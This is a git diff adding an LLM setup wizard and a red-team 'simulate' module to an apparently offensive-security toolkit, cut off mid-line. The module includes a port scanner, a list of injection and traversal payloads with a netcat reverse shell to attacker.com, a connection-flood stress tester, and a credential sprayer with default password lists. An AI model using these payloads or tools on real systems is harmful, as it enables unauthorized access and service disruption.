Module +First-time configuration wizard for LLM settings +Supports GGUF (llama.cpp) and SafeTensors (transformers) models +""" + +import os +import sys +from pathlib import Path + +# Add parent directory to path for imports +sys.path.insert(0, str(Path(__file__).parent.parent)) + +from core.config import get_config +from core.banner import Colors, clear_screen, display_banner + + +class SetupWizard: + """Interactive setup wizard for AUTARCH configuration.""" + + def __init__(self): + self.config = get_config() + + def print_header(self, text: str): + """Print a formatted section header.""" + print(f"\n{Colors.CYAN}{Colors.BOLD}[*] {text}{Colors.RESET}") + print(f"{Colors.DIM}{'─' * 60}{Colors.RESET}") + + def print_info(self, text: str): + """Print info message.""" + print(f"{Colors.GREEN} {text}{Colors.RESET}") + + def print_warning(self, text: str): + """Print warning message.""" + print(f"{Colors.YELLOW}[!] {text}{Colors.RESET}") + + def print_error(self, text: str): + """Print error message.""" + print(f"{Colors.RED}[X] {text}{Colors.RESET}") + + def get_input(self, prompt: str, default: str = None) -> str: + """Get user input with optional default value. + + Args: + prompt: The prompt to display + default: Default value if user presses enter + + Returns: + User input or default value + """ + if default: + prompt_text = f"{Colors.WHITE} {prompt} [{Colors.YELLOW}{default}{Colors.WHITE}]: {Colors.RESET}" + else: + prompt_text = f"{Colors.WHITE} {prompt}: {Colors.RESET}" + + try: + value = input(prompt_text).strip() + return value if value else default + except (EOFError, KeyboardInterrupt): + print() + return default + + def get_int_input(self, prompt: str, default: int, min_val: int = None, max_val: int = None) -> int: + """Get integer input with validation. + + Args: + prompt: The prompt to display + default: Default value + min_val: Minimum allowed value + max_val: Maximum allowed value + + Returns: + Validated integer value + """ + while True: + value = self.get_input(prompt, str(default)) + try: + int_val = int(value) + if min_val is not None and int_val < min_val: + self.print_error(f"Value must be at least {min_val}") + continue + if max_val is not None and int_val > max_val: + self.print_error(f"Value must be at most {max_val}") + continue + return int_val + except ValueError: + self.print_error("Please enter a valid number") + + def get_float_input(self, prompt: str, default: float, min_val: float = None, max_val: float = None) -> float: + """Get float input with validation.""" + while True: + value = self.get_input(prompt, str(default)) + try: + float_val = float(value) + if min_val is not None and float_val < min_val: + self.print_error(f"Value must be at least {min_val}") + continue + if max_val is not None and float_val > max_val: + self.print_error(f"Value must be at most {max_val}") + continue + return float_val + except ValueError: + self.print_error("Please enter a valid number") + + def validate_model_path(self, path: str) -> tuple: + """Validate that a model file or directory exists. + + Args: + path: Path to the model file or directory + + Returns: + Tuple of (is_valid, model_type) where model_type is 'gguf', 'transformers', or None + """ + if not path: + return False, None + + path = Path(os.path.expanduser(path)) + + try: + if not path.exists(): + return False, None + except (PermissionError, OSError): + return False, None + + # Check for GGUF file + if path.is_file(): + if path.suffix.lower() == '.gguf': + return True, 'gguf' + # Check magic bytes for GGUF without extension + try: + with open(path, 'rb') as f: + magic = f.read(4) + if magic == b'GGUF': + return True, 'gguf' + except Exception: + pass + # Could still be a valid file for llama.cpp + return True, 'gguf' + + # Check for safetensors/transformers directory + if path.is_dir(): + # Check for safetensors files + safetensor_files = list(path.glob("*.safetensors")) + index_file = path / "model.safetensors.index.json" + config_file = path / "config.json" + + if safetensor_files or index_file.exists(): + return True, 'transformers' + + # Check for pytorch bin files (also transformers format) + bin_files = list(path.glob("*.bin")) + if config_file.exists() and (bin_files or (path / "pytorch_model.bin").exists()): + return True, 'transformers' + + # Directory exists but no recognized model format + if config_file.exists(): + return True, 'transformers' + + return False, None + + def validate_model_path_legacy(self, path: str) -> bool: + """Legacy validation - just checks if file exists. + + Args: + path: Path to the model file + + Returns: + True if valid, False otherwise + """ + if not path: + return False + path = os.path.expanduser(path) + return os.path.isfile(path) or os.path.isdir(path) + + def _is_huggingface_id(self, path: str) -> bool: + """Check if the path looks like a HuggingFace model ID. + + HuggingFace model IDs are in format 'org/model-name' or 'username/model-name'. + + Args: + path: The path/ID to check + + Returns: + True if it looks like a HuggingFace model ID + """ + if not path: + return False + # Must contain exactly one '/' and not start with '/' + # Also should not contain path separators like '\' or multiple '/' + if path.startswith('/') or path.startswith('\\'): + return False + parts = path.split('/') + if len(parts) == 2 and all(p and not p.startswith('.') for p in parts): + # Looks like org/model-name format + return True + return False + + def resolve_model_path(self, path: str) -> str: + """Resolve a model path, trying multiple variations. + + Args: + path: User-provided path (may be relative or have variations) + + Returns: + Resolved absolute path if found, None otherwise + """ + from core.paths import get_app_dir + framework_dir = get_app_dir() + + # List of paths to try + paths_to_try = [ + Path(path), # As-is + Path(path).expanduser(), # Expand ~ + framework_dir / path.lstrip('/'), # Relative to framework dir + framework_dir / path, # Relative without stripping / + ] + + # Handle /dh_framework/... pattern (missing /home/user prefix) + if path.startswith('/dh_framework'): + paths_to_try.append(framework_dir / path[len('/dh_framework/'):]) + if path.startswith('dh_framework'): + paths_to_try.append(framework_dir / path[len('dh_framework/'):]) + + # Also try models/ subdirectory + model_name = Path(path).name + paths_to_try.append(framework_dir / 'models' / model_name) + + for p in paths_to_try: + try: + if p.exists(): + return str(p.resolve()) + except (PermissionError, OSError): + continue + + return None + + def skip_setup(self) -> bool: + """Skip setup and mark as complete without LLM configuration. + + Returns: + True always (setup skipped successfully) + """ + clear_screen() + display_banner() + + self.print_header("Setup Skipped") + print(f"\n{Colors.WHITE} AUTARCH will run without LLM features.{Colors.RESET}") + print(f"{Colors.DIM} The following modules will still work:{Colors.RESET}") + print(f"{Colors.GREEN} - defender (Defense){Colors.RESET}") + print(f"{Colors.GREEN} - counter (Counter){Colors.RESET}") + print(f"{Colors.GREEN} - analyze (Analyze){Colors.RESET}") + print(f"{Colors.GREEN} - recon (OSINT){Colors.RESET}") + print(f"{Colors.GREEN} - adultscan (OSINT){Colors.RESET}") + print(f"{Colors.GREEN} - simulate (Simulate){Colors.RESET}") + print(f"{Colors.GREEN} - msf (Offense){Colors.RESET}") + print() + print(f"{Colors.YELLOW} LLM-dependent modules (chat, agent) will not work{Colors.RESET}") + print(f"{Colors.YELLOW} until you configure a model with --setup{Colors.RESET}") + print() + + self.config.mark_setup_complete() + self.print_info(f"Configuration saved to: {self.config.config_path}") + + print(f"\n{Colors.WHITE} Press Enter to continue...{Colors.RESET}") + try: + input() + except (EOFError, KeyboardInterrupt): + pass + + return True + + def run(self, allow_skip: bool = True) -> bool: + """Run the setup wizard. + + Args: + allow_skip: Whether to show the skip option + + Returns: + True if setup completed successfully, False if cancelled + """ + clear_screen() + display_banner() + + self.print_header("AUTARCH First-Time Setup") + print(f"\n{Colors.WHITE} Welcome to AUTARCH! This wizard will help you configure") + print(f" the LLM settings for your system.{Colors.RESET}\n") + + # Offer skip option + if allow_skip: + print(f"{Colors.DIM} Many modules work without an LLM (OSINT, forensics, etc.){Colors.RESET}") + print() + print(f" {Colors.GREEN}[1]{Colors.RESET} Configure LLM (for chat & agent features)") + print(f" {Colors.YELLOW}[2]{Colors.RESET} Skip setup (use without LLM)") + print() + + choice = self.get_input("Select option", "1") + if choice == "2": + return self.skip_setup() + + # Model Path Configuration + self.print_header("Model Configuration") + self.print_info("AUTARCH supports two model formats:") + print(f" {Colors.CYAN}GGUF{Colors.RESET} - Single file models for llama.cpp (recommended for CPU)") + print(f" {Colors.CYAN}SafeTensors{Colors.RESET} - HuggingFace models for transformers (GPU optimized)") + print() + self.print_info("Enter a local path OR a HuggingFace model ID.") + self.print_info("Examples:") + print(f" {Colors.DIM}GGUF: /home/user/models/llama-7b.gguf{Colors.RESET}") + print(f" {Colors.DIM}SafeTensors: /home/user/models/Lily-Cybersecurity-7B{Colors.RESET}") + print(f" {Colors.DIM}HuggingFace ID: segolilylabs/Lily-Cybersecurity-7B-v0.2{Colors.RESET}") + + model_type = None + while True: + # Get current configured path for default + current_gguf = self.config.get('llama', 'model_path', '') + current_transformers = self.config.get('transformers', 'model_path', '') + default_path = current_gguf or current_transformers or '' + + model_path = self.get_input("Model path", default_path if default_path else None) + if model_path: + # Strip quotes that users might accidentally include + model_path = model_path.strip().strip('"').strip("'") + model_path = os.path.expanduser(model_path) + + # Try to resolve the path (handles relative paths, /dh_framework/... etc.) + resolved_path = self.resolve_model_path(model_path) + if resolved_path: + model_path = resolved_path + + is_valid, detected_type = self.validate_model_path(model_path) + if is_valid and detected_type: + model_type = detected_type + if model_type == 'gguf': + self.config.set('llama', 'model_path', model_path) + self.config.set('autarch', 'llm_backend', 'local') + self.print_info(f"GGUF model found: {os.path.basename(model_path)}") + else: # transformers + self.config.set('transformers', 'model_path', model_path) + self.config.set('autarch', 'llm_backend', 'transformers') + self.print_info(f"SafeTensors model found: {os.path.basename(model_path)}") + break + elif self._is_huggingface_id(model_path): + # Looks like a HuggingFace model ID (e.g., 'org/model-name') + model_type = 'transformers' + self.config.set('transformers', 'model_path', model_path) + self.config.set('autarch', 'llm_backend', 'transformers') + self.print_info(f"HuggingFace model ID: {model_path}") + self.print_info("Model will be downloaded/loaded from HuggingFace cache") + break + else: + self.print_error("Model not found or unrecognized format.") + self.print_info("For GGUF: provide path to .gguf file") + self.print_info("For SafeTensors: provide path to model directory") + self.print_info("For HuggingFace: use format 'org/model-name'") + retry = self.get_input("Try again? (y/n)", "y") + if retry.lower() != 'y': + self.print_warning("Setup cancelled - no model configured") + return False + else: + self.print_warning("No model path provided") + skip = self.get_input("Continue without model? (y/n)", "n") + if skip.lower() == 'y': + break + continue + + # Backend-specific configuration + if model_type == 'gguf': + # GGUF/llama.cpp specific settings + self.print_header("Context Settings (llama.cpp)") + self.print_info("Configure the context window and threading.") + + n_ctx = self.get_int_input( + "Context size (tokens)", + self.config.get_int('llama', 'n_ctx', 4096), + min_val=512, + max_val=131072 + ) + self.config.set('llama', 'n_ctx', n_ctx) + + n_threads = self.get_int_input( + "Number of CPU threads", + self.config.get_int('llama', 'n_threads', 4), + min_val=1, + max_val=256 + ) + self.config.set('llama', 'n_threads', n_threads) + + # GPU Configuration + self.print_header("GPU Configuration") + self.print_info("Set the number of layers to offload to GPU.") + self.print_info("Set to 0 for CPU-only, or higher for GPU acceleration.") + + n_gpu_layers = self.get_int_input( + "GPU layers (0 for CPU only)", + self.config.get_int('llama', 'n_gpu_layers', 0), + min_val=0 + ) + self.config.set('llama', 'n_gpu_layers', n_gpu_layers) + + # Generation Settings + self.print_header("Generation Settings") + self.print_info("Configure text generation parameters.") + + temperature = self.get_float_input( + "Temperature (creativity)", + self.config.get_float('llama', 'temperature', 0.7), + min_val=0.0, + max_val=2.0 + ) + self.config.set('llama', 'temperature', temperature) + + top_p = self.get_float_input( + "Top P (nucleus sampling)", + self.config.get_float('llama', 'top_p', 0.9), + min_val=0.0, + max_val=1.0 + ) + self.config.set('llama', 'top_p', top_p) + + top_k = self.get_int_input( + "Top K", + self.config.get_int('llama', 'top_k', 40), + min_val=0 + ) + self.config.set('llama', 'top_k', top_k) + + repeat_penalty = self.get_float_input( + "Repeat penalty", + self.config.get_float('llama', 'repeat_penalty', 1.1), + min_val=0.0, + max_val=2.0 + ) + self.config.set('llama', 'repeat_penalty', repeat_penalty) + + max_tokens = self.get_int_input( + "Max tokens per response", + self.config.get_int('llama', 'max_tokens', 2048), + min_val=1, + max_val=32768 + ) + self.config.set('llama', 'max_tokens', max_tokens) + + elif model_type == 'transformers': + # Transformers/SafeTensors specific settings + self.print_header("Device Configuration (transformers)") + self.print_info("Configure hardware settings for model loading.") + + print(f" {Colors.DIM}Device options: auto, cuda, cpu, mps{Colors.RESET}") + device = self.get_input( + "Device", + self.config.get('transformers', 'device', 'auto') + ) + self.config.set('transformers', 'device', device) + + # Quantization options + self.print_header("Quantization (Memory Optimization)") + self.print_info("Quantization reduces memory usage at the cost of some quality.") + print(f" {Colors.DIM}Requires bitsandbytes package for 8-bit/4-bit{Colors.RESET}") + + print(f"\n {Colors.GREEN}[1]{Colors.RESET} No quantization (full precision)") + print(f" {Colors.GREEN}[2]{Colors.RESET} 8-bit quantization (half memory)") + print(f" {Colors.GREEN}[3]{Colors.RESET} 4-bit quantization (quarter memory)") + + quant_choice = self.get_input("Quantization option", "1") + if quant_choice == "2": + self.config.set('transformers', 'load_in_8bit', 'true') + self.config.set('transformers', 'load_in_4bit', 'false') + elif quant_choice == "3": + self.config.set('transformers', 'load_in_8bit', 'false') + self.config.set('transformers', 'load_in_4bit', 'true') + else: + self.config.set('transformers', 'load_in_8bit', 'false') + self.config.set('transformers', 'load_in_4bit', 'false') + + # Generation Settings + self.print_header("Generation Settings") + self.print_info("Configure text generation parameters.") + + temperature = self.get_float_input( + "Temperature (creativity)", + self.config.get_float('transformers', 'temperature', 0.7), + min_val=0.0, + max_val=2.0 + ) + self.config.set('transformers', 'temperature', temperature) + + top_p = self.get_float_input( + "Top P (nucleus sampling)", + self.config.get_float('transformers', 'top_p', 0.9), + min_val=0.0, + max_val=1.0 + ) + self.config.set('transformers', 'top_p', top_p) + + top_k = self.get_int_input( + "Top K", + self.config.get_int('transformers', 'top_k', 40), + min_val=0 + ) + self.config.set('transformers', 'top_k', top_k) + + repeat_penalty = self.get_float_input( + "Repetition penalty", + self.config.get_float('transformers', 'repetition_penalty', 1.1), + min_val=0.0, + max_val=2.0 + ) + self.config.set('transformers', 'repetition_penalty', repeat_penalty) + + max_tokens = self.get_int_input( + "Max tokens per response", + self.config.get_int('transformers', 'max_tokens', 2048), + min_val=1, + max_val=32768 + ) + self.config.set('transformers', 'max_tokens', max_tokens) + + # Save configuration + self.print_header("Saving Configuration") + self.config.mark_setup_complete() + self.print_info(f"Configuration saved to: {self.config.config_path}") + + # Summary + self.print_header("Setup Complete") + print(f"\n{Colors.GREEN} AUTARCH has been configured with the following settings:{Colors.RESET}\n") + + if model_type == 'gguf': + print(f" {Colors.YELLOW}Backend: llama.cpp (GGUF){Colors.RESET}\n") + settings = self.config.get_llama_settings() + elif model_type == 'transformers': + print(f" {Colors.YELLOW}Backend: transformers (SafeTensors){Colors.RESET}\n") + settings = self.config.get_transformers_settings() + else: + print(f" {Colors.YELLOW}No model configured{Colors.RESET}\n") + settings = {} + + for key, value in settings.items(): + if key == 'model_path' and value: + value = os.path.basename(value) + print(f" {Colors.CYAN}{key:20}{Colors.RESET}: {value}") + + print(f"\n{Colors.WHITE} Press Enter to continue to the main menu...{Colors.RESET}") + try: + input() + except (EOFError, KeyboardInterrupt): + pass + + return True + + +def run(): + """Module entry point.""" + wizard = SetupWizard() + return wizard.run() + + +if __name__ == "__main__": + run() diff --git a/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/simulate.py b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/simulate.py new file mode 100644 index 0000000..b921d17 --- /dev/null +++ b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/simulate.py @@ -0,0 +1,652 @@ +""" +AUTARCH Simulate Module +Attack simulation and security testing + +Red team exercises and controlled attack simulations. +""" + +import os +import sys +import subprocess +import socket +import hashlib +import random +import string +import time +import ftplib +import base64 +import urllib.request +from pathlib import Path +from datetime import datetime + +# Module metadata +DESCRIPTION = "Attack simulation & red team tools" +AUTHOR = "darkHal" +VERSION = "1.0" +CATEGORY = "simulate" + +sys.path.insert(0, str(Path(__file__).parent.parent)) +from core.banner import Colors, clear_screen, display_banner + + +class Simulator: + """Attack simulation tools.""" + + def __init__(self): + pass + + def print_status(self, message: str, status: str = "info"): + colors = {"info": Colors.CYAN, "success": Colors.GREEN, "warning": Colors.YELLOW, "error": Colors.RED} + symbols = {"info": "*", "success": "+", "warning": "!", "error": "X"} + print(f"{colors.get(status, Colors.WHITE)}[{symbols.get(status, '*')}] {message}{Colors.RESET}") + + def run_cmd(self, cmd: str, timeout: int = 60) -> tuple: + try: + result = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=timeout) + return result.returncode == 0, result.stdout.strip() + except: + return False, "" + + def password_audit(self): + """Audit password strength and check common passwords.""" + print(f"\n{Colors.BOLD}Password Audit{Colors.RESET}") + print(f"{Colors.DIM}Test password strength against common patterns{Colors.RESET}\n") + + password = input(f"{Colors.WHITE}Enter password to test: {Colors.RESET}") + if not password: + return + + print(f"\n{Colors.CYAN}Analyzing password...{Colors.RESET}\n") + + score = 0 + feedback = [] + + # Length check + if len(password) >= 16: + score += 3 + feedback.append(f"{Colors.GREEN}+ Excellent length (16+){Colors.RESET}") + elif len(password) >= 12: + score += 2 + feedback.append(f"{Colors.GREEN}+ Good length (12+){Colors.RESET}") + elif len(password) >= 8: + score += 1 + feedback.append(f"{Colors.YELLOW}~ Minimum length (8+){Colors.RESET}") + else: + feedback.append(f"{Colors.RED}- Too short (<8){Colors.RESET}") + + # Character diversity + has_upper = any(c.isupper() for c in password) + has_lower = any(c.islower() for c in password) + has_digit = any(c.isdigit() for c in password) + has_special = any(c in '!@#$%^&*()_+-=[]{}|;:,.<>?' for c in password) + + if has_upper: + score += 1 + feedback.append(f"{Colors.GREEN}+ Contains uppercase{Colors.RESET}") + else: + feedback.append(f"{Colors.RED}- No uppercase letters{Colors.RESET}") + + if has_lower: + score += 1 + feedback.append(f"{Colors.GREEN}+ Contains lowercase{Colors.RESET}") + else: + feedback.append(f"{Colors.RED}- No lowercase letters{Colors.RESET}") + + if has_digit: + score += 1 + feedback.append(f"{Colors.GREEN}+ Contains numbers{Colors.RESET}") + else: + feedback.append(f"{Colors.RED}- No numbers{Colors.RESET}") + + if has_special: + score += 2 + feedback.append(f"{Colors.GREEN}+ Contains special characters{Colors.RESET}") + else: + feedback.append(f"{Colors.YELLOW}~ No special characters{Colors.RESET}") + + # Common patterns + common_patterns = ['password', '123456', 'qwerty', 'letmein', 'admin', 'welcome', 'monkey', 'dragon'] + if password.lower() in common_patterns: + score = 0 + feedback.append(f"{Colors.RED}- Extremely common password!{Colors.RESET}") + + # Sequential characters + if any(password[i:i+3].lower() in 'abcdefghijklmnopqrstuvwxyz' for i in range(len(password)-2)): + score -= 1 + feedback.append(f"{Colors.YELLOW}~ Contains sequential letters{Colors.RESET}") + + if any(password[i:i+3] in '0123456789' for i in range(len(password)-2)): + score -= 1 + feedback.append(f"{Colors.YELLOW}~ Contains sequential numbers{Colors.RESET}") + + # Keyboard patterns + keyboard_patterns = ['qwerty', 'asdf', 'zxcv', '1qaz', '2wsx'] + for pattern in keyboard_patterns: + if pattern in password.lower(): + score -= 1 + feedback.append(f"{Colors.YELLOW}~ Contains keyboard pattern{Colors.RESET}") + break + + # Display results + for line in feedback: + print(f" {line}") + + print(f"\n{Colors.BOLD}Score: {max(0, score)}/10{Colors.RESET}") + + if score >= 8: + print(f"{Colors.GREEN}Strength: STRONG{Colors.RESET}") + elif score >= 5: + print(f"{Colors.YELLOW}Strength: MODERATE{Colors.RESET}") + else: + print(f"{Colors.RED}Strength: WEAK{Colors.RESET}") + + # Hash generation + print(f"\n{Colors.CYAN}Password Hashes:{Colors.RESET}") + print(f" MD5: {hashlib.md5(password.encode()).hexdigest()}") + print(f" SHA1: {hashlib.sha1(password.encode()).hexdigest()}") + print(f" SHA256: {hashlib.sha256(password.encode()).hexdigest()}") + + def port_scanner(self): + """TCP port scanner.""" + print(f"\n{Colors.BOLD}Port Scanner{Colors.RESET}") + + target = input(f"{Colors.WHITE}Enter target IP/hostname: {Colors.RESET}").strip() + if not target: + return + + port_range = input(f"{Colors.WHITE}Port range (e.g., 1-1000) [1-1024]: {Colors.RESET}").strip() or "1-1024" + + try: + start_port, end_port = map(int, port_range.split('-')) + except: + self.print_status("Invalid port range", "error") + return + + # Resolve hostname + try: + ip = socket.gethostbyname(target) + if ip != target: + print(f"\n{Colors.DIM}Resolved {target} to {ip}{Colors.RESET}") + except: + self.print_status(f"Could not resolve {target}", "error") + return + + print(f"\n{Colors.CYAN}Scanning {target} ports {start_port}-{end_port}...{Colors.RESET}\n") + + open_ports = [] + scanned = 0 + total = end_port - start_port + 1 + + for port in range(start_port, end_port + 1): + scanned += 1 + if scanned % 100 == 0: + print(f"\r{Colors.DIM}Progress: {scanned}/{total} ports scanned...{Colors.RESET}", end="") + + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.settimeout(0.5) + + result = sock.connect_ex((ip, port)) + if result == 0: + open_ports.append(port) + sock.close() + + print(f"\r{' ' * 50}\r", end="") # Clear progress line + + if open_ports: + print(f"{Colors.GREEN}Open ports found:{Colors.RESET}\n") + services = { + 21: "ftp", 22: "ssh", 23: "telnet", 25: "smtp", 53: "dns", + 80: "http", 110: "pop3", 143: "imap", 443: "https", 445: "smb", + 3306: "mysql", 3389: "rdp", 5432: "postgresql", 8080: "http-proxy" + } + for port in open_ports: + service = services.get(port, "unknown") + print(f" {port:5}/tcp open {service}") + else: + print(f"{Colors.YELLOW}No open ports found in range{Colors.RESET}") + + print(f"\n{Colors.DIM}Scanned {total} ports{Colors.RESET}") + + def banner_grabber(self): + """Grab service banners.""" + print(f"\n{Colors.BOLD}Banner Grabber{Colors.RESET}") + + target = input(f"{Colors.WHITE}Enter target IP/hostname: {Colors.RESET}").strip() + port = input(f"{Colors.WHITE}Enter port [80]: {Colors.RESET}").strip() or "80" + + if not target: + return + + try: + port = int(port) + except: + self.print_status("Invalid port", "error") + return + + print(f"\n{Colors.CYAN}Grabbing banner from {target}:{port}...{Colors.RESET}\n") + + try: + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.settimeout(5) + sock.connect((target, port)) + + # Send HTTP request for web ports + if port in [80, 443, 8080, 8443]: + sock.send(b"HEAD / HTTP/1.1\r\nHost: " + target.encode() + b"\r\n\r\n") + else: + sock.send(b"\r\n") + + banner = sock.recv(1024).decode('utf-8', errors='ignore') + sock.close() + + if banner: + print(f"{Colors.GREEN}Banner:{Colors.RESET}") + for line in banner.split('\n')[:15]: + print(f" {line.strip()}") + else: + print(f"{Colors.YELLOW}No banner received{Colors.RESET}") + + except socket.timeout: + self.print_status("Connection timed out", "warning") + except ConnectionRefusedError: + self.print_status("Connection refused", "error") + except Exception as e: + self.print_status(f"Error: {e}", "error") + + def payload_generator(self): + """Generate various payloads for testing.""" + print(f"\n{Colors.BOLD}Payload Generator{Colors.RESET}") + print(f"{Colors.DIM}Generate test payloads for security testing{Colors.RESET}\n") + + print(f" {Colors.YELLOW}[1]{Colors.RESET} XSS Payloads") + print(f" {Colors.YELLOW}[2]{Colors.RESET} SQL Injection Payloads") + print(f" {Colors.YELLOW}[3]{Colors.RESET} Command Injection Payloads") + print(f" {Colors.YELLOW}[4]{Colors.RESET} Path Traversal Payloads") + print(f" {Colors.YELLOW}[5]{Colors.RESET} SSTI Payloads") + print() + + choice = input(f"{Colors.WHITE}Select payload type: {Colors.RESET}").strip() + + payloads = { + "1": [ # XSS + '', + '', + '', + '">', + "'-alert(1)-'", + '', + '{{constructor.constructor("alert(1)")()}}', + ], + "2": [ # SQLi + "' OR '1'='1", + "' OR '1'='1' --", + "'; DROP TABLE users; --", + "1' ORDER BY 1--", + "1 UNION SELECT null,null,null--", + "' AND 1=1 --", + "admin'--", + ], + "3": [ # Command Injection + "; ls -la", + "| cat /etc/passwd", + "& whoami", + "`id`", + "$(whoami)", + "; ping -c 3 127.0.0.1", + "| nc -e /bin/sh attacker.com 4444", + ], + "4": [ # Path Traversal + "../../../etc/passwd", + "..\\..\\..\\windows\\system32\\config\\sam", + "....//....//....//etc/passwd", + "%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd", + "..%252f..%252f..%252fetc/passwd", + "/etc/passwd%00", + ], + "5": [ # SSTI + "{{7*7}}", + "${7*7}", + "{{config}}", + "{{self.__class__.__mro__}}", + "<%= 7*7 %>", + "{{request.application.__globals__}}", + ], + } + + if choice in payloads: + names = { + "1": "XSS", "2": "SQL Injection", "3": "Command Injection", + "4": "Path Traversal", "5": "SSTI" + } + print(f"\n{Colors.CYAN}{names[choice]} Payloads:{Colors.RESET}\n") + for i, payload in enumerate(payloads[choice], 1): + print(f" [{i}] {payload}") + + def network_stress(self): + """Network stress test (controlled).""" + print(f"\n{Colors.BOLD}Network Stress Test{Colors.RESET}") + print(f"{Colors.RED}WARNING: Only use on systems you own or have permission to test!{Colors.RESET}\n") + + target = input(f"{Colors.WHITE}Enter target IP: {Colors.RESET}").strip() + port = input(f"{Colors.WHITE}Enter target port: {Colors.RESET}").strip() + duration = input(f"{Colors.WHITE}Duration in seconds [5]: {Colors.RESET}").strip() or "5" + + if not target or not port: + return + + try: + port = int(port) + duration = int(duration) + if duration > 30: + duration = 30 + print(f"{Colors.YELLOW}Limited to 30 seconds max{Colors.RESET}") + except: + self.print_status("Invalid input", "error") + return + + confirm = input(f"\n{Colors.YELLOW}Start stress test against {target}:{port} for {duration}s? (yes/no): {Colors.RESET}").strip() + if confirm.lower() != 'yes': + return + + print(f"\n{Colors.CYAN}Starting stress test...{Colors.RESET}") + + import time + start_time = time.time() + connections = 0 + errors = 0 + + while time.time() - start_time < duration: + try: + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.settimeout(1) + sock.connect((target, port)) + sock.send(b"X" * 1024) + sock.close() + connections += 1 + except: + errors += 1 + + if connections % 100 == 0: + print(f"\r{Colors.DIM}Connections: {connections}, Errors: {errors}{Colors.RESET}", end="") + + print(f"\n\n{Colors.GREEN}Test complete:{Colors.RESET}") + print(f" Connections attempted: {connections}") + print(f" Errors: {errors}") + print(f" Duration: {duration}s") + + # ==================== CREDENTIAL SPRAYER ==================== + + DEFAULT_USERNAMES = [ + 'admin', 'root', 'user', 'test', 'guest', 'administrator', 'ftp', + 'www', 'postgres', 'mysql', 'oracle', 'backup', 'operator', 'info', + 'support', 'webmaster', 'demo', 'pi', 'ubuntu', 'deploy', + ] + + DEFAULT_PASSWORDS = [ + 'password', '123456', 'admin', 'root', 'letmein', 'welcome', + 'changeme', 'test', 'guest', 'default', 'pass', 'qwerty', + '123456789', 'password1', '12345678', '1234', 'abc123', + 'monkey', 'master', 'dragon', + ] + + def credential_sprayer(self): + """Credential spraying against network services.""" + print(f"\n{Colors.BOLD}Credential Sprayer{Colors.RESET}") + print(f"{Colors.RED}WARNING: Only use on systems you own or have explicit authorization to test!{Colors.RESET}") + print(f"{Colors.DIM}Test common credentials against network services{Colors.RESET}") + print(f"{Colors.CYAN}{'─' * 50}{Colors.RESET}\n") + + # Protocol selection + print(f" {Colors.YELLOW}[1]{Colors.RESET} SSH") + print(f" {Colors.YELLOW}[2]{Colors.RESET} FTP") + print(f" {Colors.YELLOW}[3]{Colors.RESET} HTTP Basic Auth") + print() + + proto_choice = input(f"{Colors.WHITE}Select protocol: {Colors.RESET}").strip() + protocols = {'1': 'ssh', '2': 'ftp', '3': 'http'} + protocol = protocols.get(proto_choice) + if not protocol: + return + + default_ports = {'ssh': '22', 'ftp': '21', 'http': '80'} + target = input(f"{Colors.WHITE}Target IP/hostname: {Colors.RESET}").strip() + if not target: + return + + port = input(f"{Colors.WHITE}Port [{Colors.GREEN}{default_ports[protocol]}{Colors.WHITE}]: {Colors.RESET}").strip() or default_ports[protocol] + try: + port = int(port) + except ValueError: + self.print_status("Invalid port", "error") + return + + # Username source + print(f"\n{Colors.CYAN}Username source:{Colors.RESET}") + print(f" {Colors.YELLOW}[1]{Colors.RESET} Built-in top 20") + print(f" {Colors.YELLOW}[2]{Colors.RESET} Manual entry") + print(f" {Colors.YELLOW}[3]{Colors.RESET} File") + + user_choice = input(f"{Colors.WHITE}Select: {Colors.RESET}").strip() + usernames = [] + if user_choice == '1': + usernames = self.DEFAULT_USERNAMES[:] + elif user_choice == '2': + user_input = input(f"{Colors.WHITE}Usernames (comma-separated): {Colors.RESET}").strip() + usernames = [u.strip() for u in user_input.split(',') if u.strip()] + elif user_choice == '3': + filepath = input(f"{Colors.WHITE}Username file path: {Colors.RESET}").strip() + try: + with open(filepath, 'r') as f: + usernames = [line.strip() for line in f if line.strip()] + except Exception as e: + self.print_status(f"Error reading file: {e}", "error") + return + + if not usernames: + self.print_status("No usernames provided", "error") + return + + # Password source + print(f"\n{Colors.CYAN}Password source:{Colors.RESET}") + print(f" {Colors.YELLOW}[1]{Colors.RESET} Built-in top 20") + print(f" {Colors.YELLOW}[2]{Colors.RESET} Manual entry") + print(f" {Colors.YELLOW}[3]{Colors.RESET} File") + + pass_choice = input(f"{Colors.WHITE}Select: {Colors.RESET}").strip() + passwords = [] + if pass_choice == '1': + passwords = self.DEFAULT_PASSWORDS[:] + elif pass_choice == '2': + pass_input = input(f"{Colors.WHITE}Passwords (comma-separated): {Colors.RESET}").strip() + passwords = [p.strip() for p in pass_input.split(',') if p.strip()] + elif pass_choice == '3': + filepath = input(f"{Colors.WHITE}Password file path: {Colors.RESET}").strip() + try: + with open(filepath, 'r') as f: + passwords = [line.strip() for line in f if line.strip()] + except Exception as e: + self.print_status(f"Error reading file: {e}", "error") + return + + if not passwords: + self.print_status("No passwords provided", "error") + return + + # Delay and confirmation + delay = input(f"{Colors.WHITE}Delay between attempts (seconds) [{Colors.GREEN}1.0{Colors.WHITE}]: {Colors.RESET}").strip() or "1.0" + try: + delay = max(0.5, float(delay)) # Enforce minimum 0.5s + except ValueError: + delay = 1.0 + + total_combos = len(usernames) * len(passwords) + est_time = total_combos * delay + + print(f"\n{Colors.CYAN}{'─' * 50}{Colors.RESET}") + print(f" Protocol: {protocol.upper()}") + print(f" Target: {target}:{port}") + print(f" Usernames: {len(usernames)}") + print(f" Passwords: {len(passwords)}") + print(f" Combinations: {total_combos}") + print(f" Delay: {delay}s") + print(f" Est. time: {int(est_time)}s ({int(est_time/60)}m)") + print(f"{Colors.CYAN}{'─' * 50}{Colors.RESET}") + + confirm = input(f"\n{Colors.YELLOW}Start credential spray? (yes/no): {Colors.RESET}").strip().lower() + if confirm != 'yes': + return + + results = self._run_spray(protocol, target, port, usernames, passwords, delay) + + # Summary + print(f"\n{Colors.CYAN}{'─' * 50}{Colors.RESET}") + print(f"{Colors.BOLD}Spray Complete{Colors.RESET}") + print(f" Attempts: {total_combos}") + print(f" Successes: 